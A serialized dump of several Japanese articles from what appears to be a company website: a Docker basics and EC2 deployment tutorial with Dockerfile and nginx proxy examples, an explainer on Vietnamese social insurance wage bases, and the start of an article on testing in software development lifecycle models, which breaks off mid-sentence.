Dockerの主なメリット",[31,14458,14459,14462,14465,14468,14471,14474],{},[34,14460,14461],{},"仮想マシンとは異なり、Dockerは数秒で起動および停止します。",[34,14463,14464],{},"必要な各システムでコンテナを起動できます。",[34,14466,14467],{},"コンテナは、仮想マシンよりも高速に構築および削除できます。",[34,14469,14470],{},"作業環境の設定が簡単。",[34,14472,14473],{},"一度だけ設定するだけで、依存関係を再インストールする必要はありません。",[34,14475,14476],{},"他の部分に影響を与える環境を削除するときに、ワークスペースをクリーンに保ちます。",[495,14478,14480],{"id":14479},"iii-インストール",[20,14481,14482],{},"III. インストール",[11,14484,14485,14489],{},[57,14486,14487],{"href":14487,"rel":14488},"https:\u002F\u002Fdocs.docker.com\u002Fget-docker\u002F",[61]," のURLを参照ください",[495,14491,14493],{"id":14492},"iv-docker-image",[20,14494,14495],{},"IV. DOCKER IMAGE",[11,14497,14498],{},"Docker Imageは、コンテナーの作成に使用される読み取り専用のテンプレートです。 Imageは読み取り専用レイヤーで構成されます。 Imageの作成は、いくつかの追加のカスタマイズを使用して別のImageに基づくことができます。 つまり、Docker Imageは、OS、パッケージ、実行するソフトウェアなどの環境設定を保存する場所です。",[495,14500,14502],{"id":14501},"v-container",[20,14503,14504],{},"V. CONTAINER",[11,14506,14507],{},"Docker Containerは、アプリケーションを実行するために必要なすべてのものが含まれているDocker　Imageから作成されます。 仮想化と見たいですが、コンテナは非常に軽いので、システムプロセスと見なすことができます。 コンテナの開始、停止、または再起動には数秒しかかかりません。 物理サーバーを使用すると、いくつかの普通な仮想マシンを実行する代わりに、Dockerコンテナーを実行できます。",[495,14509,14511],{"id":14510},"vi-container-c-と仮想マシン-vmの比較",[20,14512,14513],{},"VI. CONTAINER [C] と仮想マシン [VM]の比較",[530,14515],{"className":14516,"alt":64,"src":14517,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F28100010\u002Fcompare.jpg",[368,14519,14520,14536],{},[371,14521,14522],{},[374,14523,14524,14526,14531],{},[377,14525],{},[377,14527,14528],{},[20,14529,14530],{},"CONTAINER",[377,14532,14533],{},[20,14534,14535],{},"VIRTUAL MACHINE",[393,14537,14538,14549,14560,14571,14582],{},[374,14539,14540,14543,14546],{},[398,14541,14542],{},"リソース",[398,14544,14545],{},"コンテナ内のプロセスは実際のリソースを直接使用しますが、オペレーティングシステムは、各プロセスに異なるリソース制限（または無制限）を規定できます。",[398,14547,14548],{},"すべてが仮想ハードウェアによって制限されます。",[374,14550,14551,14554,14557],{},[398,14552,14553],{},"実施",[398,14555,14556],{}," 実OSがソフトウェアを実行します。",[398,14558,14559],{},"実OS→仮想OS→ソフトウェアを実行している仮想OS。 （VPSの場合、ハイパーバイザータイプ1が実際のOSに置き換わります）",[374,14561,14562,14565,14568],{},[398,14563,14564],{},"パフォーマンス",[398,14566,14567],{},"実際のソフトウェアは実際のハードウェアで実行されます。 起動速度はほぼ通常のソフトウェアと同じです。",[398,14569,14570],{},"実ハードウェアは仮想OSを搭載する必要があります。 コンピュータが起動したため、ソフトウェアが使用されるまでに時間がかかりました。",[374,14572,14573,14576,14579],{},[398,14574,14575],{},"セキュリティー",[398,14577,14578],{},"同じコンテナ内のプロセスは、引き続き相互に影響を与える可能性があります。 ただし、通常、各コンテナは1つのプロセスのみを実行する必要があります。 異なるコンテナのプロセスは互いに影響を与えることはできません。",[398,14580,14581],{},"ソフトウェアに悪意のあるコードがあると、同じVM内の他のプロセスリソースに影響を与える可能性があります。",[374,14583,14584,14587,14590],{},[398,14585,14586],{},"サポートソフトウェア",[398,14588,14589],{},"Docker Engine, LXC Linux Container, Apache Mesos, CRI-O (Kubernetes)…",[398,14591,14592],{},"VirtualBox, VMWare, Microsoft Hyper-V, Parallels, Linux KVM, Docker Machine…",[495,14594,14596],{"id":14595},"vii-dockerfile",[20,14597,14598],{},"VII. DOCKERFILE",[11,14600,14601],{},"Dockerfileは、DockerがImageをビルドするためのコンフィグファイルです。 基本Imageを使用することで初期Imageクラスを構築します。 いくつかの基本的なImage：python、ubuntu、alpine。 次に、追加のレイヤーがある場合は、ベースレイヤーの上にスタックされます。",[11,14603,14604],{},"コンフィグ：",[31,14606,14607,14610,14613,14616,14619,14622,14625,14628,14631,14634,14637,14640],{},[34,14608,14609],{},"FROM：元のImageを指定します：python, ubuntu, alpine…",[34,14611,14612],{},"LABEL ：Imageにメタデータを提供します。 メンテナー情報を追加するために使用できます。 Imageのラベルを表示するには、dockerinspectコマンドを使用します。",[34,14614,14615],{},"ENV ：環境変数を設定します。",[34,14617,14618],{},"RUN ：Imageを構築するときにコマンドを作成できます。 パッケージをコンテナにインストールするために使用されます。",[34,14620,14621],{},"COPY ：ファイルとフォルダーをコンテナーにコピーします。",[34,14623,14624],{}," ADD ：ファイルとフォルダーをコンテナーにコピーします。",[34,14626,14627],{},"CMD ：実行可能コンテナのコマンドと引数を指定します。 パラメータはオーバーライドでき、CMDのみです。",[34,14629,14630],{},"WORKDIR ：次のような他のディレクティブの作業ディレクトリを設定します。例えば：RUN, CMD, ENTRYPOINT, COPY, ADD,…",[34,14632,14633],{},"ARG ：Imageのビルド中に使用される変数値を定義します。",[34,14635,14636],{},"ENTRYPOINT ：実行可能コンテナのコマンドと引数を指定します。",[34,14638,14639],{},"EXPOSE ：Imageのポートを定義します。",[34,14641,14642],{},"VOLUME ：データにアクセスして保存するためのディレクトリマウントポイントを作成します",[11,14644,14645],{},"例:",[696,14647,14650],{"className":14648,"code":14649,"language":701},[699],"FROM node:12-alpine\nRUN apk add git\nRUN mkdir -p \u002Fhome\u002Fnode\u002Fapp\nWORKDIR \u002Fhome\u002Fnode\u002Fapp\nCOPY package*.json .\u002F\nRUN npm install\nCOPY . .\nENV HOST=0.0.0.0 PORT=3334\nEXPOSE $PORT\nCMD [ \"node\", \".\" ]\n",[703,14651,14649],{"__ignoreMap":64},[495,14653,14655],{"id":14654},"viii-概念",[20,14656,14657],{},"VIII. 概念",[11,14659,14660,14663],{},[20,14661,14662],{},"Docker Client："," ターミナルのコマンドでdockerと相互作用します。 DockerクライアントはAPIを使用してコマンドをDockerデーモンに送信します。",[11,14665,14666,14669],{},[20,14667,14668],{},"Docker Daemon："," DockerAPIからのリクエスト用のDockerサーバーです。 Image、コンテナ、ネットワーク、およびボリュームを管理します。",[11,14671,14672,14675],{},[20,14673,14674],{},"Docker Volumes："," アプリを使用および作成するためのデータを継続的に保存する場所です。",[11,14677,14678,14681],{},[20,14679,14680],{},"Docker Registry："," Docker Imagesのプライベートストレージです。 Imageはレジストリにプッシュされ、クライアントはレジストリからImageをプルします。 独自のレジストリ、またはAWS、Google Cloud、MicrosoftAzureなどのプロバイダーのレジストリを使用できます。",[11,14683,14684,14687],{},[20,14685,14686],{},"Docker Hub："," Docker Images最大のレジストリ（デフォルト）です。 Imageを検索して、Docker Hub（無料）に独自のImageを保存できます。",[11,14689,14690,14693],{},[20,14691,14692],{},"Docker Repository："," 同じ名前でタグが異なるDockerイメージのセット。 例：node:12-alpine.",[11,14695,14696,14699],{},[20,14697,14698],{},"Docker Networking："," コンテナを相互に接続できます。 この接続は、1つまたは複数のホスト上で行うことができます。",[11,14701,14702,14705],{},[20,14703,14704],{},"Docker Compose："," このツールを使用すると、複数のDockerコンテナーでアプリを簡単に実行できます。 Docker Composeを使用すると、docker-compose.ymlファイルでコマンドを構成して再利用できます。 Dockerがインストールされた状態で利用できます。",[11,14707,14708,14711],{},[20,14709,14710],{},"Docker Swarm："," コンテナーのデプロイを調整します。",[11,14713,14714,14717],{},[20,14715,14716],{},"Docker Services："," 本番環境のコンテナーです。 サービスはImageのみを実行しますが、Imageを実行する方法を暗号化します。 使用するポート、サービスを実行するためのコンテナーのコピー数は、必要かつ即時のパフォーマンスを発揮します。",[495,14719,14721],{"id":14720},"ix-dockerの基本なコマンド",[20,14722,14723],{},"IX. Dockerの基本なコマンド",[11,14725,14726],{},"image\u002Fcontainerリスト",[696,14728,14731],{"className":14729,"code":14730,"language":701},[699],"docker image\u002Fcontainer ls\n",[703,14732,14730],{"__ignoreMap":64},[11,14734,14735],{},"すべてのontainersリスト",[696,14737,14740],{"className":14738,"code":14739,"language":701},[699],"docker ps –a\n",[703,14741,14739],{"__ignoreMap":64},[11,14743,14744],{},"containerをストップ",[696,14746,14749],{"className":14747,"code":14748,"language":701},[699],"docker stop \u003CContainer名>\n",[703,14750,14748],{"__ignoreMap":64},[11,14752,14753],{},"ImageからContainerを実施かつContainer名を変更",[696,14755,14758],{"className":14756,"code":14757,"language":701},[699],"docker run –name \u003CContainer名> \u003CImage名>\n",[703,14759,14757],{"__ignoreMap":64},[11,14761,14762],{},"すべてのcontainerをストップ",[696,14764,14767],{"className":14765,"code":14766,"language":701},[699],"docker stop $(docker ps –a –q)\n",[703,14768,14766],{"__ignoreMap":64},[11,14770,14771],{},"containerログを表示",[696,14773,14776],{"className":14774,"code":14775,"language":701},[699],"docker logs \u003CContainer名>\n",[703,14777,14775],{"__ignoreMap":64},[11,14779,14780],{},"containerからImageをビルド",[11,14782,14783],{},[703,14784,14785],{},"docker build -t \u003CContainer名>",[11,14787,14788],{},"バックグラウンドで実行されるコンテナを作成",[696,14790,14793],{"className":14791,"code":14792,"language":701},[699],"docker run -d \u003CImage名>\n",[703,14794,14792],{"__ignoreMap":64},[11,14796,14797],{},"containerを起動",[696,14799,14802],{"className":14800,"code":14801,"language":701},[699],"docker start \u003CContainer名>\n",[703,14803,14801],{"__ignoreMap":64},[11,14805,14806,14807],{},"See more: ",[57,14808,14809],{"href":14809,"rel":14810},"https:\u002F\u002Fdocs.docker.com\u002Freference\u002F",[61],[495,14812,14814],{"id":14813},"x-初期設定",[20,14815,14816],{},"X. 初期設定",[11,14818,14819],{},"ステップ１: AWSのEC2にアクセス",[31,14821,14822,14825],{},[34,14823,14824],{},"Tera Termツールを開く",[34,14826,14827],{},"HostにホストサーバIPを入力",[530,14829],{"className":14830,"alt":64,"src":14831,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F04163035\u002Fhost-teraterm.png",[31,14833,14834],{},[34,14835,14836,14837],{},"usernameとkeyに入力してから、OKボタンを押下する\n",[530,14838],{"className":14839,"alt":64,"src":14840,"style":1174},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F04163312\u002Fkey-teraterm.png",[530,14842],{"className":14843,"alt":64,"src":14844,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F04163531\u002FTerminal.png",[11,14846,14847],{},"ステップ２: Dockerをインストール",[11,14849,14850],{},"1. あなたのインステンスでパッケージを更新",[696,14852,14855],{"className":14853,"code":14854,"language":701},[699],"sudo yum update -y\n",[703,14856,14854],{"__ignoreMap":64},[11,14858,14859],{},"2. Dockerをインストール",[696,14861,14864],{"className":14862,"code":14863,"language":701},[699],"sudo yum install docker -y\n",[703,14865,14863],{"__ignoreMap":64},[11,14867,14868],{},"3. Dockerサービスを起動",[696,14870,14873],{"className":14871,"code":14872,"language":701},[699],"sudo service docker start\n",[703,14874,14872],{"__ignoreMap":64},[11,14876,14877],{},"4. ec2-userをdockerグループに追加して、sudoを使用せずにDockerコマンドを実行できるようにします。",[696,14879,14882],{"className":14880,"code":14881,"language":701},[699],"sudo usermod -a -G docker ec2-user\n",[703,14883,14881],{"__ignoreMap":64},[11,14885,14886],{},"ステップ３: GITの設定",[11,14888,14889],{},"1.  Gitをセットアップ",[696,14891,14894],{"className":14892,"code":14893,"language":701},[699],"sudo yum install git\n",[703,14895,14893],{"__ignoreMap":64},[11,14897,14898],{},"2.  デプロイを行いたいソースコードをGitからClone\u002Fpullする",[696,14900,14903],{"className":14901,"code":14902,"language":701},[699],"git clone https:\u002F\u002FusernameToken:passwordToken@gitlab.com\u002F\u003Cproject name>\u002F\u003Cgit name>.git\nまたは\ngit pull origin develop\n",[703,14904,14902],{"__ignoreMap":64},[11,14906,14907,14908,1730],{},"** usernameTokenはDeployToken名であって、passwordTokenは文字のランダムな文字列からGitで自動に作成する。(",[57,14909,14912],{"href":14910,"rel":14911},"https:\u002F\u002Fdocs.gitlab.com\u002Fee\u002Fuser\u002Fproject\u002Fdeploy_tokens\u002F",[61],"こちらを参照",[495,14914,14916],{"id":14915},"xi-デプロイ",[20,14917,14918],{},"XI. デプロイ",[11,14920,14921],{},"1. ソースコード格納しているフォルダに移動",[696,14923,14926],{"className":14924,"code":14925,"language":701},[699],"cd \u003Cプロジェクトフォルダ>\n",[703,14927,14925],{"__ignoreMap":64},[11,14929,14930],{},"ソースのDockerfile-devファイルは以下により設定されること",[696,14932,14935],{"className":14933,"code":14934,"language":701},[699],"# Check out https:\u002F\u002Fhub.docker.com\u002F_\u002Fnode to select a new base image\nFROM node:12-alpine\nRUN apk add git\n    \n# Set to a non-root built-in user `node`\nUSER node\n    \n# Create app directory (with user `node`)\nRUN mkdir -p \u002Fhome\u002Fnode\u002Fapp\nWORKDIR \u002Fhome\u002Fnode\u002Fapp\n    \nENV NODE_ENV=\"\u003C環境名>\"\nENV PORT=\"3334\" ENV DEBUG=\"front:*\"\nENV SESSION_SECRET=\"session-secret\"\n    \n# Install app dependencies\n# A wildcard is used to ensure both package.json AND package-lock.json are copied\n# where available (npm@5+)\nCOPY package*.json .\u002F\nRUN npm install\n    \n# Bundle app source code\nCOPY . .\n    \n# Bind to all network interfaces so that it can be mapped to the host OS\nENV HOST=0.0.0.0 PORT=3334\nEXPOSE $PORT\nCMD [ \"node\", \".\" ]\n",[703,14936,14934],{"__ignoreMap":64},[11,14938,14939],{},"2. Imageソースをビルド",[11,14941,14942,14945],{},[703,14943,14944],{},"docker build --no-cache -t \u003CImage名> -f Dockerfile.dev ."," (開発環境用)",[11,14947,14948],{},"* -t : Imageタグのオプション",[11,14950,14951],{},"* . : ソースフォルダ",[11,14953,14954],{},"* --no-cache: キャッシュ保存しない",[11,14956,14957],{},"3. ImageソースでContainerを起動",[696,14959,14962],{"className":14960,"code":14961,"language":701},[699],"docker run -dp \u003Cホスト·ポート>:\u003CContainerポート> --name \u003CContainer名> \u003CImage名>\n",[703,14963,14961],{"__ignoreMap":64},[11,14965,14966],{},"* --name: Container名を設定。名前は一意です。そうでない場合は、dockerが生成します。",[11,14968,14969],{},"* -p: containerポートを開く.",[11,14971,14972],{},"* -d: バックグラウンドモードをターンオン",[11,14974,14975],{},"4. nginxフォルダにアクセス",[696,14977,14980],{"className":14978,"code":14979,"language":701},[699],"cd nginx\n",[703,14981,14979],{"__ignoreMap":64},[11,14983,14984],{},"nginxフォルダ中にdefault.confとDockerfileファイルを含めている default.confファイル：",[696,14986,14989],{"className":14987,"code":14988,"language":701},[699],"server {\n    location \u002F {\n          proxy_set_header Host $host;\n          proxy_set_header X-Real-IP $remote_addr;\n          proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n          proxy_set_header X-Forwarded-Proto $scheme;\n          proxy_pass http:\u002F\u002Fapp:3334;\n    }\n}\n",[703,14990,14988],{"__ignoreMap":64},[11,14992,14993],{},"Dockerfileファイル",[696,14995,14998],{"className":14996,"code":14997,"language":701},[699],"FROM nginx\nRUN rm \u002Fetc\u002Fnginx\u002Fconf.d\u002F* \nCOPY default.conf \u002Fetc\u002Fnginx\u002Fconf.d\u002F\n",[703,14999,14997],{"__ignoreMap":64},[11,15001,15002],{},"5. ソース用Image nginxをビルド",[696,15004,15007],{"className":15005,"code":15006,"language":701},[699],"docker build -t es\u002Fnginx .\n",[703,15008,15006],{"__ignoreMap":64},[11,15010,15011],{},"6. es\u002FnginxのContainerを起動",[696,15013,15016],{"className":15014,"code":15015,"language":701},[699],"docker run -dp 80:80 --link \u003CContainer名>:app --name nginx-proxy es\u002Fnginx\n",[703,15017,15015],{"__ignoreMap":64},[11,15019,15020],{},"ステップ３: ImageとContainerを表示",[31,15022,15023],{},[34,15024,15025],{},"imageリスト",[530,15027],{"className":15028,"alt":64,"src":15029,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F28122425\u002Fimages-ec2.png",[31,15031,15032],{},[34,15033,15034],{}," containerリスト",[530,15036],{"className":15037,"alt":64,"src":15038,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F28122548\u002Fcontainer-ec2-1024x87.png",[11,15040,15041],{},"ステップ4：Websiteにアクセス",[530,15043],{"className":15044,"alt":64,"src":15045,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F28122802\u002Flogin-ec2-1024x490.jpg",[495,15047,15049],{"id":15048},"xi-参照","XI. 参照",[11,15051,15052],{},[57,15053,14487],{"href":14487,"rel":15054},[61],[11,15056,15057],{},[57,15058,14809],{"href":14809,"rel":15059},[61],[11,15061,15062],{},[57,15063,15064],{"href":15064,"rel":15065},"https:\u002F\u002Fdocs.docker.com\u002F",[61],[11,15067,15068],{},[57,15069,15070],{"href":15070,"rel":15071},"https:\u002F\u002Fegghead.io\u002Flessons\u002Fnode-js-setup-an-nginx-proxy-for-a-node-js-app-with-docker",[61],{"title":64,"searchDepth":65,"depth":65,"links":15073},[15074,15075,15076,15077,15078,15079,15080,15081,15082,15083,15084,15085],{"id":14444,"depth":65,"text":14447},{"id":14453,"depth":65,"text":14456},{"id":14479,"depth":65,"text":14482},{"id":14492,"depth":65,"text":14495},{"id":14501,"depth":65,"text":14504},{"id":14510,"depth":65,"text":14513},{"id":14595,"depth":65,"text":14598},{"id":14654,"depth":65,"text":14657},{"id":14720,"depth":65,"text":14723},{"id":14813,"depth":65,"text":14816},{"id":14915,"depth":65,"text":14918},{"id":15048,"depth":65,"text":15049},"2021-03-18","I. Dockerは何？Dockerとは、アプリケーションを開発・配置 ・デプロイ・実施するためのオープンソースプラットフォームです。Dockerを使用すると、アプリケーションをインフラストラクチャから分離できるため、ソフトウェアを迅速に配信できます。 アプリケーションを管理するのと同じ方法でインフラストラクチャを管理できます。 コードを迅速にデプロイ、配置 、テスト、デプロイするためのDockerの方法論を利用することで、コードの書きから本番環境での実行までの遅延を大幅に減らすことができます。",{},"\u002Fja\u002Fnews\u002Flaunch-with-docker",{"title":14439,"description":15087},"ja\u002Fnews\u002Flaunch-with-docker","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05103100\u002Flogo-docker.png","Y7Z1EwUDcq17tmhvFQa8-NekhpDQIG1JjTZH-gv4dLo",{"id":15095,"title":15096,"body":15097,"category":67,"created by":68,"date":15206,"description":15101,"extension":71,"meta":15207,"navigation":73,"path":15208,"sections":75,"seo":15209,"stem":15210,"thumbnail":15211,"__hash__":15212},"content_ja\u002Fja\u002Fnews\u002Fluong-dong-bao-hiem-xa-hoi-05-thong-tin-can-biet.md","社会保険料の算定基礎となる賃金に関する5つの注意事項",{"type":8,"value":15098,"toc":15204},[15099,15102,15107,15110,15113,15116,15119,15122,15125,15128,15133,15136,15139,15142,15145,15150,15153,15156,15161,15164,15167,15170,15175,15178,15181,15184,15190,15197],[11,15100,15101],{},"社会保険料の算定基礎となる賃金は失業制度、妊娠出産制度、疾病制度、年金制度、社会保険一時金制度といった労働者の享受できる各制度と直接関わりますが、多くの労働者はあたかもこの賃金に困惑しているようです。",[11,15103,15104],{},[20,15105,15106],{},"1. 社会保険料の算定基礎となる賃金は手取り給与であるか",[11,15108,15109],{},"労働者は雇用者に、月給として5百万VND、6百万VND、1千万VNDなど支払われるのでその給与額が社会保険料の算定基礎となる賃金だと思われがちです。",[11,15111,15112],{},"実はそうではありません。社会保険料の算定基礎となる賃金とは何れの場合においても月給ではなく、手取り給与でもなく、地域別最低賃金を下回らず20ヶ月分の基礎給を上回らないような、雇用者の決める金額をいいます。",[11,15114,15115],{},"2021年の地域別最低賃金は以下の通りです。",[11,15117,15118],{},"第1種地域：442万VND／月",[11,15120,15121],{},"第2種地域：392万VND／月",[11,15123,15124],{},"第3種地域：343万VND／月",[11,15126,15127],{},"第4種地域：307万VND／月",[11,15129,15130],{},[20,15131,15132],{},"2. 社会保険料の算定基礎となる賃金は月給にして良いか",[11,15134,15135],{},"特に外資系企業をはじめとして多くの企業は労働者の引き止めのために月給を社会保険料の算定基礎となる賃金にします。",[11,15137,15138],{},"例えば、Aさんの月給が2千万VNDであれば、彼に対し社会保険料の算定基礎となる賃金が2千万VNDになります。",[11,15140,15141],{},"それには全く問題がありません。勿論、社会保険料の算定基礎となる賃金が高いほど、労働者の享受できる各制度の給付金が高くなります。しかしながら、社会保険料の算定基礎となる賃金は月給にして良いとは言うものの、決定第595\u002FQĐ-BHXH号第6条第3項に従って20ヶ月分の基礎給を超えてはなりません。",[11,15143,15144],{},"現在、基礎給は149万VND／月なので、社会保険料の算定基礎となる賃金が最大2,980万VNDになります。",[11,15146,15147],{},[20,15148,15149],{},"3. 社会保険料の算定基礎となる賃金は給与のみ含まれるか",[11,15151,15152],{},"通達第59\u002F2015\u002FTT-BLĐTBXH号第30条第1項に則り、雇用者の決める賃金制度を基に社会保険料を納付する労働者に対し、社会保険料の算定基礎となる賃金は給与、責任手当・勤続手当・地域手当・職務手当などの諸手当、その他の追加給付額が含まれます。",[11,15154,15155],{},"そのため、社会保険料の算定基礎となる賃金は給与のみならず、諸手当およびその他の追加給付額が含まれます。",[11,15157,15158],{},[20,15159,15160],{},"4. 社会保険料の算定基礎となる賃金は基本給であるか",[11,15162,15163],{},"基本給という概念は現行の法的文書に存在しておらず、労働者により使われている言葉です。社会保険料の算定基礎となる賃金が基本給であると思われた労働者も多いです。",[11,15165,15166],{},"しかし、3.で前述した如く、社会保険料の算定基礎となる賃金は給与のみならず、諸手当およびその他の追加給付額が含まれます。",[11,15168,15169],{},"それに対して、基本給が諸手当や賞与およびその他の追加給付額を含めず、労働者の受給する最低賃金という認識です。",[11,15171,15172],{},[20,15173,15174],{},"5. 社会保険料の算定基礎となる賃金は任意加入時にどうか",[11,15176,15177],{},"今だ、多くの労働者は任意加入時の社会保険料の算定基礎となる賃金がどうか分からないようです。実際に、任意加入時の社会保険料の算定基礎となる賃金は給与ではなく、加入者の収入を基に決められます。",[11,15179,15180],{},"決定第595\u002FQĐ-BHXH号第10条第1項に沿って任意加入時の社会保険料の算定基礎となる賃金は加入者の月収の22%とします。",[11,15182,15183],{},"その月収は加入者が自由に決められますが、最低額として農村地域の貧困基準の月収（一人当たり70万VND）を下回らず、最大額として20ヶ月分の基礎給を超えてはなりません。",[11,15185,15186],{},[20,15187,15188],{},[2645,15189,55],{},[11,15191,8296,15192],{},[57,15193,15196],{"href":15194,"rel":15195},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FQuyet-dinh-595-QD-BHXH-Quy-trinh-thu-bao-hiem-cap-so-bao-hiem-the-bao-hiem-2017-348047.aspx",[61],"決定第595\u002FQĐ-BHXH号",[11,15198,8307,15199],{},[57,15200,15203],{"href":15201,"rel":15202},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FThong-tu-59-2015-TT-BLDTBXH-huong-dan-Luat-bao-hiem-xa-hoi-ve-bao-hiem-xa-hoi-bat-buoc-299644.aspx",[61],"通達第59\u002F2015\u002FTT-BLĐTBXH号",{"title":64,"searchDepth":65,"depth":65,"links":15205},[],"2021-04-19",{},"\u002Fja\u002Fnews\u002Fluong-dong-bao-hiem-xa-hoi-05-thong-tin-can-biet",{"title":15096,"description":15101},"ja\u002Fnews\u002Fluong-dong-bao-hiem-xa-hoi-05-thong-tin-can-biet","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F14160239\u002FLuongDongBHXH.png","Jv2pr7o29AKG94lc8k_i1DoiPEWTkGvecTwg-OZjwmY",{"id":15214,"title":15215,"body":15216,"category":1388,"created by":68,"date":15427,"description":15220,"extension":71,"meta":15428,"navigation":73,"path":15429,"sections":75,"seo":15430,"stem":15431,"thumbnail":15432,"__hash__":15433},"content_ja\u002Fja\u002Fnews\u002Fmo-hinh-vong-doi-phat-trien-phan-mem.md","ソフトウェア開発モデルにおけるテストの特徴",{"type":8,"value":15217,"toc":15421},[15218,15221,15226,15229,15232,15237,15240,15243,15249,15252,15255,15258,15263,15266,15269,15272,15278,15281,15284,15287,15292,15295,15300,15303,15308,15311,15314,15349,15355,15358,15369,15372,15377,15380,15397,15400,15405,15408,15411,15415],[11,15219,15220],{},"テストには共通の原則がありますが、ソフトウェア開発ライフサイクルモデルにより違いもあります。ここでは「シーケンシャル開発モデル」と「イテレーティブ・インクリメンタル開発モデル」に分けて、それぞれのテストの特徴を説明します。",[495,15222,15224],{"id":15223},"シーケンシャル開発モデル",[20,15225,15223],{},[11,15227,15228],{},"シーケンシャル開発モデルは、ソフトウェア開発の各活動を順番に進めるプロセスです。たとえば、要件定義が完了しないと次の設計フェーズに進めないという原則に従います。通常、コーディング完了後にテストを開始し、順序通りにコンポーネントテストから統合テストへと進みますが、実際にはフェーズが重複することもあります。この手法は「五月雨」や「刺身」とも呼ばれます。",[11,15230,15231],{},"ここでは、ソフトウェア開発モデルの基本であるウォーターフォールモデルとそれを基にしたV字モデルについて説明します。 ",[1750,15233,15235],{"id":15234},"ウォーターフォールモデル",[20,15236,15234],{},[11,15238,15239],{},"「ウォーターフォールモデル」は、最も伝統的で一般的なソフトウェア開発モデルです。他にも多くの開発モデルが存在しますが、その多くはウォーターフォールモデルを基に改良されています。",[11,15241,15242],{},"このモデルでは、要件定義、設計、コーディング、テストといった各開発工程を順番に進め、各工程が完了してから次の工程に移ります。名前の「ウォーターフォール（滝）」の通り、開発の流れを水の流れに例えることが多く、初期段階の要件定義や設計を「上流」、後半のテスト工程を「下流」と呼ぶことがあります。",[1750,15244,15246],{"id":15245},"v字モデル",[20,15247,15248],{},"V字モデル",[11,15250,15251],{},"V字モデルは、ウォーターフォールモデルの上流工程と下流工程を対応させ、アルファベットの「V」字の形で表現したモデルです。テスト工程では、上流工程で定義された仕様や設計に沿ってシステムが動作するかを確認します。そのため、V字モデルの左側の上流工程を「品質を作り込む工程」、右側の下流工程（テスト）を「品質を確認する工程」と呼ぶことがあります。",[11,15253,15254],{},"V字モデルの利点は、上流の各工程が具体的にどのテストレベルに対応するかが明確であることです。たとえば、V字モデルでは、基本設計工程で作成された基本設計書をもとに統合テストの分析や設計が行われます。",[11,15256,15257],{},"また、上流工程での成果物が正しく記述されているかは、レビューによって確認されます。各工程では、前の工程で作成された成果物を基にして次の成果物を詳細化し、その過程で整合性や記述内容を検証して品質を高めます。また、ユーザーの要求に適しているかどうかも確認します。こうした検証と妥当性確認は「V&V（Verification & Validation）」と呼ばれます。",[1750,15259,15261],{"id":15260},"ウォーターフォールモデルの欠点",[20,15262,15260],{},[11,15264,15265],{},"ウォーターフォールモデルでは、各工程の終了時にその成果物が問題ないことを確認してから次の工程に進みます。基本的に、滝のように順番に進むため、原則として後戻りはしません。しかし、後の工程で前の工程で見逃された問題が発覚することがあります。この場合、「手戻り」と呼ばれる、前の工程に戻って成果物や関連する他の成果物を修正する作業が必要となります。",[11,15267,15268],{},"例えば、システムテストで要件定義のミスが見つかった場合、要件定義の修正だけでなく、それに基づく設計やコーディングの修正も必要です。さらに、ユニットテストや統合テストも修正内容に応じてやり直す必要があります。",[11,15270,15271],{},"このように、ウォーターフォールモデルは仕様変更への対応が難しいという欠点があります。特に、開発初期に要件が固まらず、後の工程で仕様変更が多く発生するようなプロジェクトには不向きです。",[1750,15273,15275],{"id":15274},"wモデルとシフトレフト",[20,15276,15277],{},"Wモデルとシフトレフト",[11,15279,15280],{},"V字モデルには、上流工程とテストの対応が明確であるという利点がある一方で、テストが開発後半に実施されるように見えてしまう欠点があります。実際にはテストの一部が上流工程でも行われることが多いですが、モデルだけでは誤解を招く可能性があります。",[11,15282,15283],{},"そこで、上流工程と並行してテスト活動が行われることを明確化した「Wモデル」が提案されました。このモデルでは、上流工程と同時進行でテスト計画や設計が行われ、テストからのフィードバックによって成果物の品質向上が期待できます。また、テスト活動を早期に行うことで、開発期間の短縮も図れます。",[11,15285,15286],{},"さらに、Wモデルにモデル検査を取り入れると、上流工程でモデルの検査や実行が可能になり、テストを初期段階で実施する「シフトレフト」の一環として活用できます。",[495,15288,15290],{"id":15289},"イテレーティブ開発モデルとインクリメンタル開発モデル",[20,15291,15289],{},[11,15293,15294],{},"前述のシーケンシャル開発モデルでは、開発に数か月から数年を要するため、プロジェクトの完成までに時間がかかるという問題があります。この課題を解決し、短期間でプロジェクトを提供できるのがイテレーティブ開発モデルとインクリメンタル開発モデルです。これら二つのモデルは異なりますが、実際にはよく併用されます。それぞれの特徴について以下に説明します。",[1750,15296,15298],{"id":15297},"インクリメンタル開発モデル",[20,15299,15297],{},[11,15301,15302],{},"「インクリメンタル」という言葉は「増加する」や「漸進的な」という意味を持ちます。したがって、インクリメンタル開発モデルは、段階的に機能を追加していく開発方法を指します。ここで言う「増やす」とは、ソフトウェアの「フィーチャー」を指します。フィーチャーは日本語で「機能」や「特徴」と訳されますが、英語のfunctionはメール機能や録画機能のような特定の機能を示すのに対し、featureは「メールにファイルを